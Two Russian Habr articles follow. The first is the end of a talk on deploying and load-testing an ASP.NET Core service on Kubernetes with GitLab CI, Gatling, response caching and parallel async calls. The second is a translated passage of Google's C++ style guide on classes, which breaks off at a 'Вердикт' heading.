Дальше нам нужно указать параметры, чтобы собрать по этим шаблонизаторам файлы для Kubernetes.
```
common:
replicas_count: 1
max_unavailable: 0
k8s_master_uri: https://master.staging.dc-nsk1.hw:6443
k8s_token: "{{ env='K8S_TOKEN_STAGE' }}"
k8s_ca_base64: "{{ env='K8S_CA' }}"
k8s_namespace: my-namespace
ssl_enforce: true
app_port: 5000
app_probe_path: /healthcheck
image_version: "{{ env='CI_TAG' }}"
image_path: docker-hub.2gis.ru/my-namespace/backend-conf
env: Stage
backend-conf-demo:
app_name: "backend-conf-demo"
app_limits_cpu: 500m
app_requests_cpu: 100m
app_limits_memory: 800Mi
app_requests_memory: 300Mi
kubectl:
- template: deployment.yaml.j2
- template: service-stage.yaml.j2
```
Указываем, какой кластер Kubernetes мы будем использовать; порт приложения 5000; `app_probe_path`: `/healthcheck` (тот самый Middleware); `image version` берется из переменной окружения; лежат эти образы там-то и окружение env, например, `Stage`. Для production будет другая переменная. Дальше прописываем ресурсы для приложения и шаблоны, которые я дал выше.
После того, как мы все это сделали, пишем для gitlub CI еще один билд степ.
```
deploy:backend-conf-demo-stage:
stage: deploy:stage
when: manual
image: $REGISTRY/2gis-io/k8s-handle:latest
script:
- export ENVIRONMENT=Stage
- k8s-handle deploy
--config config-stage.yaml
--section backend-conf —sync-mode True
only:
- tags
tags: [ 2gis, docker ]
```
По факту, мы говорим о том, что у нас есть такой-то config-файл, поднимаем контейнер из образа на Docker hub и вызываем в нем утилиту k8s-handle.
Этого достаточно для того, чтобы развернуть **любое**, а не только ASP.Net Core приложение на Kubernetes. Так это работает в 2ГИС и особых проблем не доставляет.
Кстати, k8s-handle тоже опенсорсная штука.
Нагрузочное тестирование
------------------------
Теперь нужно удостоверимся, что приложение, которое мы сделали, действительно отрабатывает нагрузки, является отказоустойчивым и отдается за определенное время.
Мы — разработчики, и особо в тестировании не соображаем, но в 2ГИС есть отдельная команда нагрузочного тестирования. Мы пришли к ним и сказали:
> *— Ребята, мы сделали приложение. У нас есть такие-то требования. Мы
>
> локально протестировали, все хорошо. Давайте его нагрузим!*
>
> *— Да не проблема! Завтра придем и все сделаем!*
>
> *— А как вы это делаете вообще?*
>
> *— У нас есть свои инструменты. Вы на чем развертываете приложение?*
>
> *— На Kubernetes.*
>
> *— Замечательно! Значит, все будет круто!*
>
>
Когда они к нам пришли, то спросили, что мы вообще хотим протестировать, мы ответили, что самое критичное для нас — это публичный endpoint, а нагрузочный контур у нас вот такой:
* Есть некие продукты, которые генерируют нагрузку.
* Есть сервис.
* Есть провайдер — API, которая лежит под нашим сервисом.
Тестировщики написали нам тесты на Scala. Они используют Gatling для того, чтобы выполнять нагрузочные тесты.
Здесь все просто. Написано, что у нас есть некоторые asserts, мы хотим, чтобы количество запросов в секунду было больше или меньше стольки-то. Мы хотим, чтобы не было непрошедших запросов, чтобы responseTime был столько-то.
После этого мы говорим, как нагрузочный тест нам проводить:
1. Поднимать нагрузку с 1 до 20 пользователей, например, в течении 30 с.
2. В течении еще двух минут держать постоянную нагрузку в 20 пользователей.
В конце нужно указать, что есть такой-то тест, с такими-то шагами, HTTP, время выполнения 180 с в нашем случае и вот такие-то asserts.
Это один из примеров нагрузочного теста.
После этого они нам написали template в gitlub CI.
```
.perf:template: &perf_template
stage: test:perf
environment: perf
only:
- master
- /^perf.*$/
variables:
PERF_TEST_PATH: "tests/perf"
PERF_ARTIFACTS: "target/gatling"
PERF_GRAPHITE_HOST: "graphite-exporter.perf.os-n3.hw"
PERF_GRAPHITE_ROOT_PATH_PREFIX: "gatling.service-prefix"
image: $REGISTRY/perf/tools:1
artifacts:
name: perf-reports
when: always
expire_in: 7 day
paths:
- ${PERF_TEST_PATH}/${PERF_ARTIFACTS}/*
tags: [perf-n3-1]
```
Здесь код, который касается конфигурирования тулзы, но сама тулза (`image: $REGISTRY/perf/tools:1`) как раз находится в этом образе.
```
perf:run-tests:
<<: *perf_template
script:
- export PERF_GRAPHITE_ROOT_PATH_PREFIX PERF_GRAPHITE_HOST
- export PERF_APP_HOST=http://${APP_PERF}.web-staging.2gis.ru
- cd ${PERF_TEST_PATH}
- ./run_test.sh --capacity
- ./run_test.sh --resp_time
after_script:
- perfberry-cli logs upload --dir ${PERF_TEST_PATH}/${PERF_ARTIFACTS} --env
${APP_PERF}.web-staging.2gis.ru gatling ${PERFBERRY_PROJECT_ID}
```
Мы запускали тест в 2 вариантах:
1. Capacity тест, когда мы отправляли запросы по очереди: ждали, когда придет ответ, и только потом отправляли следующий запрос. Таким образом мы вычисляли емкость нашего приложения, то есть сколько запросов в секунду оно может отработать.
2. Настоящий нагрузочный тест, когда мы не ждали ответов, а запускали эти запросы параллельно.
В первой итерации у нас результаты были не очень хорошие — не те, которые мы ждали. И мы пошли в сторону Performance.
Performance
-----------
### Кэширование
Первое, что приходит в голову для повышения количества запросов, которые мы можем отрабатывать, и уменьшения ResponseTime, это кэширование. Если у нас есть ресурсы, которые мы можем сохранять в кэше, зачем ходить за ними заново каждый раз.
```
[AllowAnonymous]
[HttpGet("{id}")]
[ResponseCache(
VaryByQueryKeys = new[] { "api-version" },
Duration = 3600)]
public async Task Get(long id)
{
...
}
```
Для этого у нас в ASP.Net есть старый добрый атрибут ResponseCache, но в ASP.Net Core он приобрел дополнительную функциональность.
Если мы выставляем просто ResponseCache и указываем его Duration, то получаем по умолчанию [кэширование на клиенте](https://tools.ietf.org/html/rfc7234#section-5.2). То есть клиент на своей стороне сохраняет те данные, которые ему отдали, и больше к нам запросов не шлет.
Но в ASP.Net Core также добавили серверное кэширование. Есть такая штука [Response Caching Middleware](https://docs.microsoft.com/en-us/aspnet/core/performance/caching/middleware), которая позволяет довольно хорошо управлять именно серверным кэшированием, то есть кэшировать прямо ответы от сервисов в памяти процесса. Причем мы можем выставить, как мы хотим разделять эти ответы. В нашем случае, если есть версионирование, хорошо бы, конечно же, отдавать разные ответы на каждую версию API.
После того, как мы включили кэширование на стороне сервера и на стороне клиента и запустили свой тест, все полегло, потому что как-то быстро все стало приходить. Поэтому потом на стороне нагрузочных тестов мы отключили клиентское кэширование, чтобы все было более-менее похоже на реальные условия, когда у нас есть разные клиенты.
### Асинхронность и многопоточность
Вторая вещь, которая приходит в голову, когда мы говорим про производительность, это работа с потоками. Да, у нас .Net, в котором с точки зрения потоков все замечательно, поэтому почему бы это не использовать.
Здесь есть 2 вещи — асинхронность и многопоточность, и это не одно и то же.
**Асинхронность** — это когда есть один поток, один ресурс ОС, на котором можно можем выполнять последовательно ряд задач. Если Task1 отправил запрос в базу данных и ждет чего-то, мы можем этот поток отдать в пул, чтобы следующий запрос от клиента отработать (Task2). Если он тоже задумался, мы можем сменить контекст потока и выполнять Task1, если к нему уже пришел ответ от базы данных, и т.д.
То есть на одном физическом ресурсе ОС мы можем выполнять несколько асинхронных задач. Async, Await в C#— это как раз про асинхронность.
**Многопоточность** — это когда есть много разных потоков, много ресурсов ОС, никто не мешает запускать какие-то процессы параллельно, но никто и не говорит, что эти параллельные процессы внутри себя не могут быть асинхронными.
Поэтому Async/Await — это не только про асинхронность, но еще и про многопоточность, но нужно правильно ее использовать.
Ниже простой пример, когда можно прямо из коробки использовать многопоточность в .Net.
```
var data =
await _remoteService.IOBoundOperationAsync(timeoutInSec: 1);
var result = new List[data.Count];
foreach (var item in data)
{
var detailed =
await \_remoteService.IOBoundOperationAsync(timeoutInSec: 5);
result.Add(string.Join(", ", detailed));
}
```
Допустим, у нас есть сервис, который отдает нам данные в виде коллекции, на основе этих данных нужно еще проитерировать, обратиться в цикле к другим сервисам для того, чтобы получить дополнительные данные на основе уже имеющихся.
Это пример прямо из нашей жизни. У нас есть видео реклама, и она может быть в нескольких форматах, нужно узнать, какие в этих всех форматах есть разделения, битрейд и т.д.
Наш первый запрос к API: «Скажи-ка нам, пожалуйста, какие есть медиа-файлы на твоей стороне?» Она отвечает, что есть коллекция данных. Дальше по каждому из них мы получаем уже детальную информацию.
Разрабатывая это все, мы конечно же особо не думали о производительности. Наши нагрузочные тесты нам показали, что ответ от нашего сервиса был порядка секунды, что не сильно хорошо.
Поэтому мы переписали. Это уже правильная версия.
```
var data =
await _remoteService.IOBoundOperationAsync(timeoutInSec: 1);
var result = new string[data.Count];
var tasks = data.Select(
async (item, index) =>
{
var detailed =
await _remoteService.IOBoundOperationAsync(timeoutInSec: 5);
result[index] = string.Join(", ", detailed)
});
await Task.WhenAll(tasks);
```
К сожалению, не всегда получается с первого раза написать правильный, эффективный многопоточный код, чтобы еще и дедлоков не было.
Здесь мы делаем практически то же самое, но запускаем запросы к API уже параллельно, причем еще и асинхронно.
Мы получаем на выход коллекцию Task’ов, и запускаем еще одну, которая будет ждать их выполнения. Тем самым мы получаем ускорение во столько раз, сколько у нас есть видео-файлов.
Если, допустим, на каждую видео рекламу есть 3 разрешения файла, мы получаем сокращение времени аж в 4 раза. Нам нужно сделать 1 запрос на то, чтобы получить все метаданные, а дальше еще 3, 4 или 5 запросов. Они выполняются параллельно, поэтому общее время их исполнения примерно одинаково, и мы можем получить серьезный выигрыш по производительности.
#### Тестирование
После того, как мы это реализовали, нагрузочное тестирование показало другие результаты.
Мы поняли, что у нас есть некоторые лимиты по памяти и процессору, которые, с одной стороны, диктуются runtime, .Net, с другой стороны, тем кодом, который мы написали. Это конкретные цифры из продакшена:
* 384Mb и 1,5 CPU — столько наше приложение может потреблять в пике.
* Синхронный (capacity) тест показал ~24 RPS (без кэша).
* С применением серверного кэширования ~400 RPS, т. е. время отклика порядка 2,5 мс.
* Асинхронный (load) тест пройден.
Вместо заключения
-----------------
На основе нашего опыта можно сказать, что **.NET Core на текущий момент в продакшне использовать можно**. У нас не было никаких зависаний, непонятных нюансов с работой garbage коллектора или проблем с оркестрированием потоков и т.д. Все то, что есть в обычном .Net на текущий момент есть такого же качества в ASP.NET Core, и бояться его использовать, судя по нашему опыту, не стоит.
**Не было проблем, которые касаются именно Linux**. Если есть какие-то проблемы, они, скорее всего ваши. У нас были дедлоки как раз с использованием потоков, но они зависели не от Linux, а от программистов.
Как я уже показал, **Docker и Kubernetes сильно упрощают жизнь** в плане разработки .Net приложений, и, в принципе, в плане разработки приложений, и использования разных стековых технологий.
Последнее, что хотел бы сказать, что **оптимизировать приложения нужно**. Все это есть из коробки, но **думать все равно надо**, чтобы не получать интересных эффектов.
**Контакты:**
Код и презентация [здесь](https://github.com/denisivan0v/backend-conf-2017).
E-mail: [denis@ivanovdenis.ru](mailto:denis@ivanovdenis.ru)
**Вопросы и ответы**
> — Мы с .Net Core давно живем и наелись с ним много проблем. Вы говорите, что перешли на Linux — а как вы профилировали его? Как живете без eventTracing, без PerformanceCounter и прочих вещей?
>
>
На самом деле все, что касается PerformanceCounter, в Windows тоже реализовано не очень хорошо. Мы в свое время этим тоже занимались. Как эту проблему решаем мы?
С точки зрения профилирования в Linux есть некоторые тулзы, которые касаются .Net Core. Саша Гольштейн занимается разработкой тулзов для профилирования под Linux именно для таких приложений. Но нам не приходилось до этого доходить, чтобы прямо посмотреть, какие там дампы памяти и пр.
> — Нет, но вы профилировали как раз, говорите, дедлоки у вас были, анализировали и улучшали Performance. Вы же под Linux это делали?
>
>
Да. Для того, чтобы поймать дедлоки, нам хватило логов. Просто мы выводили в логи номера потоков и смотрели их количество. Оно же в тред-пуле ограничено. Если мы хорошо нагрузим наше приложение или искусственно выставим ограничение в тред-пуле, то можем получить такую ситуацию, что все потоки получают запросы, но никогда из них не выходят. То есть в логах мы очень хорошо видим, что этот поток начал исполнение, этот начал исполнение, и все! Дальше мы не видим никакого вывода от приложения — оно не принимает больше никаких запросов.
> — То есть вы на более сложные сценарии выявления Performance еще не попадали? То есть не просто дедлоки, а где-то, возможно, криво написанный код и еще какие-то вещи, которые именно профилируются, как зачастую бывает, на отдельной машине в продакшене, под нагрузкой. И ты только там понимаешь, что оно есть.
>
>
На самом деле я об этом не рассказал, но мы это делаем просто потому, что в сервис продакшене, и этим заниматься необходимо. С каждой новой версией сервиса мы можем получить деградацию производительности сервиса. Мы используем метрики, но метрики не на основе PerformanceCounter или чего-то, что касается ОС.
Мы используем, скажем так, логические метрики на основе Prometheus Server. Мы можем публиковать эти метрики в runtime, дальше выставить endpoint для Prometheus сервиса. Он будет приходить какое-то количество раз в минуту или секунду, забирать эти метрики и складывать у себя.
Эти метрики могут быть любыми. Мы смотрим: какое количество памяти у нас на текущий момент кушается приложением: сколько раз запускается сборщик мусора; сколько потоков используется и пр.
> — А вы изначально ASP.Net Core проектировали под Linux или же у вас был перенос проекта с другой платформы?
>
>
Изначально мы сразу же ориентировались на Linux. Платформа, на которой нам предстояло развертываться, требовала от нас, чтобы приложение работало под Linux. Поэтому именно этот сервис мы изначально планировали делать под Linux.
Опыт переноса у нас сейчас есть. У нас есть много проектов, которые мы сделали за это время внутри компании на .Net, который под Windows. Получив все эти плюсы, в том числе ускорение разработки с использованием Docker, мы начали, конечно же, смотреть в сторону того, чтобы переносить часть сервисов туда. Но они продакшен и бизнес-критичные — поэтому мы относимся к этому аккуратно процесс движется потихоньку.
> В этом году мы решили объединить программы **HighLoad++ Junior** и **Backend Conf** — теперь темы обеих конференций будут рассматриваться в рамках [Backend Conf РИТ++](http://backendconf.ru/). Так что вам не нужно думать, куда именно подать доклад, просто отправьте заявку в Программный комитет до 9 апреля. [Тезисы](http://backendconf.ru/2018/abstracts/) уже поданных докладов есть на сайте конференции, к ним можно присматриваться и планировать свой визит на [РИТ++](http://ritfest.ru/) в качестве слушателя.
>
> | https://habr.com/ru/post/352168/ | null | ru | null |
# Руководство Google по стилю в C++. Часть 4
[Часть 1. Вступление](https://habr.com/ru/post/480422/)
…
[Часть 3. Область видимости](https://habr.com/ru/post/571334/)
**Часть 4. Классы**
[Часть 5. Функции](https://habr.com/ru/post/580072/)
…
Эта статья является переводом части руководства Google по стилю в C++ на русский язык.
[Исходная статья](https://github.com/evgenykislov/styleguide/blob/gh-pages/cppguide.html) (fork на github), [обновляемый перевод](https://evgenykislov.com/wp-content/custom/cpp_codestyle/cppguide_ru.html).
Классы
------
Классы являются основным строительным блоком в C++. И, конечно же, используются они часто. В этой секции описаны основные правила и запреты, которым нужно следовать при использовании классов.
### Код в конструкторе
Не вызывайте виртуальные методы в конструкторе. Избегайте инициализации, которая может завершиться ошибкой (а способа сигнализировать об ошибке не предусмотрено. Прим.: учтите, что Гугл не любит исключения).
**Определение**
Вообще в конструкторе можно выполнять любые инициализации (т.е. всю инициализацию сделать в конструкторе).
**За**
* Не нужно беспокоиться об неинициализированном классе.
* Объекты, которые полностью инициализируются в конструкторе, могут быть константными (**const**) и также их легче использовать в стандартных контейнерах и алгоритмах.
**Против**
* Если в конструкторе вызываются виртуальные функции, то не вызываются реализации из производного класса. Даже если сейчас класс не имеет потомков, в будущем это может обернуться проблемой.
* Нет простого способа проинформировать об ошибке без крэша программы (что не всегда допустимо) или выбрасывания исключений (которые [запрещены](#Exceptions)).
* Если возникла ошибка, то у нас есть частично (обычно — неправильно) инициализированный объект. Очевидное действие: добавить механизм проверки состояния **bool IsValid()**. Однако про эту проверку легко забыть.
* Вы не можете пользоваться адресом конструктора. Поэтому нет, например, простого способа передать выполнение конструктора в другой поток.
**Вердикт**
Конструкторы не должны вызывать виртуальные функции. В ряде случаев (если это позволительно) обработка ошибок конструирования возможна через завершение программы. В иных случаях рассмотрите паттерн Фабричный Метод или используйте **Init()** (подробнее здесь:[TotW #42](https://abseil.io/tips/42)). Используйте **Init()** только в случае, если у объекта есть флаги состояния, разрешающие вызывать те или иные публичные функции (т.к. сложно полноценно работать с частично сконструированным объектом).
### Неявные преобразования
Не объявляейте неявные преобразования. Используйте ключевое слово **explicit** для операторов преобразования типа и конструкторов с одним аргументом.
**Определение**
Неявные преобразования позволяют объект одного типа (source type) использовать там, где ожидается другой тип (destinationtype), например передача аргумента типа **int** в функцию, ожидающую **double**.
Помимо неявных преобразований, задаваемых языком программирования, можно также определять свои пользовательские, добавляя соответствующие члены в объявление класса (как источника, так и получателя). Неявное преобразование на стороне источника объявляется как оператор + тип получателя (например, **operator bool()**). Неявное преобразование на стороне получателя реализуется конструктором, принимающим тип источника как единственный аргумент (помимо аргументов со значениями по умолчанию).
Ключевое слово **explicit** может применяться к конструктору или к оператору преобразования для явного указания, что функция может применяться только при явном соответствии типов (например, после операции приведения). Это применяется не только для неявного преобразования, но и для списков инициализации в C++11:
```
class Foo {
explicit Foo(int x, double y);
...
};
void Func(Foo f);
```
```
Func({42, 3.14}); // Ошибка
```
Этот пример кода технически не является неявным преобразованием, но язык трактует это как будто подразумевается **explicit**.
**За**
* Неявные преобразования могут сделать тип более удобным в использовании, не требуя явного указания типа в очевидных случаях.
* Неявные преобразования могут быть упрощённой альтернативой для перегрузки, например когда одна функция с аргументом типа **string\_view** применяется вместо отдельных версий для **std::string** и **const char\***.
* Применение списка инициализации является компактным и понятным способом инициализации объектов.
**Против**
* Неявные преобразования могут скрывать баги с несоответствием типов, когда получаемый тип не соответствует ожиданиям пользователя (если он вообще предополагал приведение типа).
* Неявные преобразования могут усложнить чтение кода, особенно при наличии перегруженных функций: становится неясно, какой код действительно будет вызван.
* Конструкторы с одним аргументом могут быть случайно использованы как неявное преобразование, даже если это не предполагалось.
* Когда конструктор с одним аргументом не объявлен как **explicit** нельзя с уверенностью сказать: то ли это такое неявное преобразование, то ли автор забыл ключевое слово.
* Не всегда понятно, какой тип должен обеспечить преобразование. А если — оба, код становится двусмысленным.
* Использование списка инициализации также может добавить проблем, если целевой тип задан неявно и, особенно, если сам список состоит только из одного элемента.
**Вердикт**
Операторы преобразования типа и конструкторы с одним аргументомдолжны объявляться с ключевым словом **explicit**. Есть и исключение: конструкторы копирования и перемещения могут объявляться без **explicit**, т.к. они не выполняют преобразование типов. Ещё неявные преобразования могут бытьнеобходимы в случае классов-обёрток для других типов (в этом случае обязательно запросите разрешение у вышестоящего руководства на возможность игнорирования этого важного правила).
Конструкторы, которые нельзя вызвать с одним аргументом, можно объявлять без**explicit**. Конструкторы, принимающие единственный **std::initializer\_list** также должны объявляться без **explicit** для поддержки инициализации копированием (например, **MyType m = {1, 2};**).
### Копируемые и перемещаемые типы
Открытый интерфейс класса должен явно указывать на возможность копирования и/или перемещения, или наоборот всё запрещать. Поддерживайте копирование и/или перемещение, только если эти операции имеют смысл для вашего типа.
**Определение**
Перемещаемый тип — тот, что может быть инициализирован или присвоен из временных значений.
Копируемый тип — может быть инициализирован или присвоен из другого объекта того же типа (т.е. также, как и перемещаемый), с условием, что исходный объект остаётся неизменным.Например, **std::unique\_ptr** — это перемещаемый, но не копируемый тип(т.к. значение исходного **std::unique\_ptr** объекта должно измениться при присвоении целевому объекту). **int** и **std::string** — примерыперемещаемый типов, которые также можно копировать: для **int** операции перемещения и копирования одинаковые, для **std::string** операция перемещения требует меньше ресурсов, чем копирование.
Для пользовательских типов копирование задаётся конструктором копирования и оператором копирования.Перемещение задаётся либо конструктором перемещения с оператором перемещения, либо (если их нет)соответствующими функциями копирования.
Конструкторы копирования и перемещения могут неявно вызываться компилятором, например при передаче объектов по значению.
**За**
Объекты копируемых и перемещаемых типов могут быть переданы и получены по значению, что делает API проще, безопаснее, универсальнее. В этом случает нет проблем с владением объекта, его жизненным циклом, изменением значения и т.п., а также не требуется указывать их в «контракте» (всё это в отличие от передачи объектов по указателю или ссылке). Также предотвращается отложенное взаимодействие между клиентом и реализацией, что существенно облегчает понимание и поддержку кода, а также его оптимизацию компилятором. Такие объекты могут использоваться как аргументы других классов, требующих передачу по значению, (например, большинство контейнеров), и вообще они гибче (например, при использовании в паттернах проектирования).
Конструкторы копирования/перемещения и соответствующие операторы присваивания обычно легче определить, чем альтернативы наподобие **Clone()**, **CopyFrom()** или **Swap()**, т.к. компилятор может сгенерировать требуемые функции (неявно или посредством **= default**). Они (функции) легко объявляются и можно быть уверенным, что все члены класса будут скопированы. Конструкторы (копирования и перемещения) в целом более эффективны, т.к. не требуют выделения памяти, отдельной инициализации, дополнительных присвоений, хорошо оптимизируются (см. [copy elision](http://en.cppreference.com/w/cpp/language/copy_elision)).
Операторы перемещения позволяют эффективно (и неявно) управлять ресурсами rvalue объектов. Иногда это упрощает кодирование.
**Против**
Некоторым типам не требуется быть копируемыми, и поддержка операций копирования может противоречить логике или привести к некорректной работе. Типы для синглтонов (**Registerer**), объекты для очистки (например, при выходе за область видимости) (**Cleanup**) или содержащие уникальные данные (**Mutex**) по своему смыслу являются некопируемыми. Также, операции копирования для базовых классов, имеющих наследников, могут могут привести к «нарезке объекта» [object slicing](https://en.wikipedia.org/wiki/Object_slicing). Операции копирования по умолчанию (или неаккуратно написаные) могут привести ошибкам, которые тяжело обнаружить.
Конструкторы копирования вызываются неявно и это легко упустить из виду (особенно для программистов, которые раньше писали на языках, где передача объектов производится по ссылке). Также можно снизить производительность, делая лишние копирования.
**Вердикт**
Открытый интерфейс каждого класса должен явно указывать, какие операции копирования и/или перемещения он поддерживает. Обычно это делается в секции public в виде явных деклараций нужных функций или объявлением их как delete.
В частности, копирумый класс должен явно объявлять операции копирования; только перемещаемый класс должен явно объявить операции перемещения; некопируемый/неперемещаемый класс должен явно запретить (**= delete**) операции копирования. Явная декларация или удаление всех четырёх функций копирования и перемещения также допустима, хотя это и не требуется. Если вы реализуете оператор копирования и/или перемещения, то необходимо также сделать соответствующий конструктор.
```
class Copyable {
public:
Copyable(const Copyable& other) = default;
Copyable& operator=(const Copyable& other) = default;
// Неявное определение операций перемещения будет запрещено (т.к. объявлено копирование)
};
class MoveOnly {
public:
MoveOnly(MoveOnly&& other);
MoveOnly& operator=(MoveOnly&& other);
// Неявно определённые операции копирования удаляются. Но (если хотите) можно это записать явно:
MoveOnly(const MoveOnly&) = delete;
MoveOnly& operator=(const MoveOnly&) = delete;
};
class NotCopyableOrMovable {
public:
// Такое объявление запрещает и копирование и перемещение
NotCopyableOrMovable(const NotCopyableOrMovable&) = delete;
NotCopyableOrMovable& operator=(const NotCopyableOrMovable&)
= delete;
// Хотя операции перемещения запрещены (неявно), можно записать это явно:
NotCopyableOrMovable(NotCopyableOrMovable&&) = delete;
NotCopyableOrMovable& operator=(NotCopyableOrMovable&&)
= delete;
};
```
Описываемые объявления или удаления функций можно опустить в очевидных случаях:
* Если класс не содержит секции **private** (например, структура [struct](#Structs_vs._Classes) или класс-интерфейс), то копируемость и перемещаемость можно заявить через аналогичное свойство любого открытого члена.
* Если базовый класс явно некопируемый и неперемещаемый, наследные классы будут такими же. Однако, если базовый класс не объявляет это операции, то этого будет недостаточно для прояснения свойств наследуемых классов.
* Заметим, что если (например) конструктор копирования объявлен/удалён, то нужно и явно объявить/удалить оператор копирования (т.к. его статус неочевиден). Аналогично и для объявления/удаления оператора копирования. Аналогично и для операций перемещения.
Тип не следует объявлять копируемым/перемещаемым, если для обычного программиста не понятна необходимость этих операций или если операции очень требовательны к ресурсам и производительности. Операции перемещения для копируемых типов это всегда оптимизация производительности, но с другой стороны — это потенциальный источник багов и усложнений. Поэтому не объявляйте операции перемещения, если они не дают значительного выигрыша по производительности по сравнению с копированием. Вообще желательно (если для класса заявляются операции копирования) всё спроектировать так, чтобы использовались функции копирования по-умолчанию. И обязательно проверьте корректность работы любых операций по-умолчанию.
Из-за риска «слайсинга» предпочтительным будет избегать открытых операторов копирования и перемещения для классов, которые планируется использовать в качестве базовых (и предпочтительно не наследоваться от класса с такими функциями). Если же необходимо сделать базовый класс копируемым, то сделайте открытую виртуальную функцию **Clone()** и защищённый (protected) конструктор копий с тем, чтобы производный класс мог их использовать для реализации операций копирования.
### Структуры vs Классы
Используйте структуры (**struct**) только для пассивных объектов, хранящих данные. В других случаях используйте классы (**class**).
Ключевые слова **struct** и **class** практически идентичны в C++. Однако, у нас есть собственное понимание для каждого ключевого слова, поэтому используйте то, которое подходит по назначению и смыслу.
Структуры должны использоваться для пассивных объектов, только для переноса данных. Они могут иметь собственные константы, однако не должно быть никакой функциональности (за, возможно, исключением функций get/set). Все поля должны быть открытыми (public), доступны для прямого доступа и это более предпочтительно, чем использование функций get/set. Структуры не должны содержать инварианты (например, вычисленные значения), которые основаны на зависимости между различными полями структуры: возможность напрямую изменять поля может сделать инвариант невалидным. Методы не должны ограничивать использование структуры, но могут присваивать значения полям: т.е. как конструктор, деструктор или функции **Initialize()**, **Reset()**.
Если требуется дополнительная функциональность в обработке данных или инварианты, то предпочтительно применение классов (**class**). Также, если сомневаетесь, что выбрать — используйте классы.
В ряде случаев ([шаблонные мета-функции](#Template_metaprogramming), traits, некоторые функторы) для единообразия с STL допускается использование структур вместо классов.
Не забудьте, что переменные в структурах и классах [именуются](#Variable_Names) разными стилями.
### Структуры vs пары (pair) и кортежи (tuple)
Если отдельные элементы в блоке данных могут осмысленно называться, то желательно использовать структуры вместо пар или кортежей.
Хотя использование пар и кортежей позволяет не изобретать велосипед с собственным типом и сэкономит много времени при *написании* кода, поля с осмысленными именами (вместо **.first**, **.second** или **std::get**) будут более понятны при *чтении* кода. И хотя C++14 для кортежей в дополнение к доступу по индексу добавляется доступ по типу (**std::get**, а тип должен быть уникальным), имя поля намного более информативно нежели тип.
Пары и кортежи являются подходящими в коде, где нет специального различия между элементами пары или кортежа. Также они требуются для работы с существующим кодом или API.
### Наследование
Часто композиция класса более подходяща, чем наследование. Когда используйте наследование, делайте его открытым (**public**).
**Определение**
Когда дочерний класс наследуется от базового, он включает определения всех данных и операций от базового. «Наследование интерфейса» — это наследование от чистого абстрактного базового класса (в нём не определены состояние или методы). Всё остальное — это «наследование реализации».
**За**
Наследование реализации уменьшает размер кода благодаря повторному использованию частей базового класса (который становится частью нового класса). Т.к. наследование является декларацией времени компиляции, это позволяет компилятору понимать структуру и находить ошибки. Наследование интерфейса может быть использовано чтобы класс поддерживал требуемый API. И также, компилятор может находить ошибки, если класс не определяет требуемый метод наследуемого API.
**Против**
В случае наследования реализации, код начинает размазываться между базовым и дочерним классом и это может усложнить понимание кода. Также, дочерний класс не может переопределять код невиртуальных функций (не может менять их реализацию).
Множественное наследование ещё более проблемное, а также иногда приводит к уменьшению производительности. Часто просадка производительности при переходе от одиночного наследования к множественному может быть больше, чем переход от обычных функций к виртуальным. Также от множественного наследования один шаг до ромбического, а это уже ведёт к неопределённости, путанице и, конечно же, багам.
**Вердикт**
Любое наследование должно быть открытым (**public**). Если хочется сделать закрытое (**private**), то лучше добавить новый член с экземпляром базового класса.
Не злоупотребляйте наследованием реализации. Композиция классов часто более предпочтительна. Попытайтесь ограничить использование наследования семантикой «Является»: **Bar** можно наследовать от **Foo**, если можно сказать, что **Bar** «Является» **Foo** (т.е. там, где используется **Foo**, можно также использовать и **Bar**).
Защищёнными (**protected**) делайте лишь те функции, которые должны быть доступны для дочерних классов. Заметьте, что [данные должны быть закрытыми](#Access_Control) (private).
Явно декларируйте переопределение виртуальных функций/деструктора с помошью спецификаторов: либо **override**, либо (если требуется) **final**. Не используйте спецификатор **virtual** при переопределении функций. Объяснение: функция или деструктор, помеченные **override** или **final**, но не являющиеся виртуальными просто не скомпилируются (что помогает обнаружить общие ошибки). Также спецификаторы работают как документация; а если спецификаторов нет, то программист будет вынужден проверить всю иерархию, чтобы уточнить виртуальность функции.
Множественное наследование допустимо, однако множественное наследование *реализации* не рекомендуется от слова совсем.
### Перегрузка операторов
Перегружайте операторы в рамках разумного. Не используйте пользовательские литералы.
**Определение**
C++ позволяет пользовательскому коду [переопределять встроенные операторы](http://en.cppreference.com/w/cpp/language/operators) используя ключевое слово **operator** и пользовательский типа как один из параметров; также **operator** позволяет определять новые литералы, используя **operator""**; также можно создавать функции приведения типов, наподобие **operator bool()**.
**За**
Использование перегрузки операторов для пользовательских типов (по аналогии со встроенными типами) может сделать код более сжатым и интуитивным. Перегружаемые операторы соответствуют определённым операциям (например, **==**, **<**, **=** и **<<**) и если код следует логике применения этих операций, то пользовательские типы можно сделать понятнее и использовать при работе с внешними библиотеками, которые опираются на эти операции.
Пользовательские литералы — очень эффективный способ для создания пользовательских объектов.
**Против**
* Написать комплект операторов для класса (корректных, согласованных и логичных) — это может потребовать известных усилий и, при недоработанном коде, это может обернуться труднопонимаемыми багами.
* Излишняя перегрузка операторов может усложнить понимание кода, особенно если код не соответствует логике операции.
* Все недостатки, связанные с перегрузкой функций, присущи и перегрузке операторов.
* Перегрузка операторов обмануть других программистов, ожидающих простую и быструю встроенную операцию, а получающие нечто ресурсоёмкое.
* Поиск мест вызова перегруженных операторов может быть нетривиальной задачей, и это явно сложнее обычного текстового поиска.
* При ошибках в типах аргументов вы можете вместо сообщений об ошибке/предупреждении от компилятора (по которым легко найти проблему и исправить её), получить «корректный» вызов другого оператора. Например, код для **foo < bar** может сильно отличаться от кода для **&foo < &bar**; немного напутав в типах получим ошибочный вызов.
* Перегрузка некоторых операторов является в принципе рискованным занятием. Перегрузка унарного **&** может привести к тому, что один и тот же код будет трактоваться по разному в зависимости от видимости декларации этой перегрузки. Перегрузка операторов **&&**, **||** и **,** (запятая) может поменять порядок (и правила) вычисления выражений.
* Часто операторы определяются вне класса, и есть риск использования разных реализаций одного и того же оператора. Если оба определения будут слинкованы в один бинарный файл, можно получить неопределённое поведение и хитрые баги.
* Пользовательские литералы (UDL) позволяют создавать новые синтаксические формы, незнакомые даже продвинутым C++ программистам. Например: **«Hello World»sv** как сокращение для **std::string\_view(«Hello World»)**. Исходная нотация может быть более понятной, хотя и не такой компактной.
* Т.к. для UDL не указывается пространство имён, потребуется либо использовать using-директиву (которая [запрещена](#Namespaces)) или using-декларацию (которая также [запрещена (в заголовочных файлах)](#Aliases), кроме случая когда импортируемые имена являются частью интерфейса, показываемого в заголовочном файле). Для таких заголовочных файлов лучше бы избегать суффикусов UDL, и желательно избегать зависимости между литералами, которые различны в заголовочном и исходном файле.
**Вердикт**
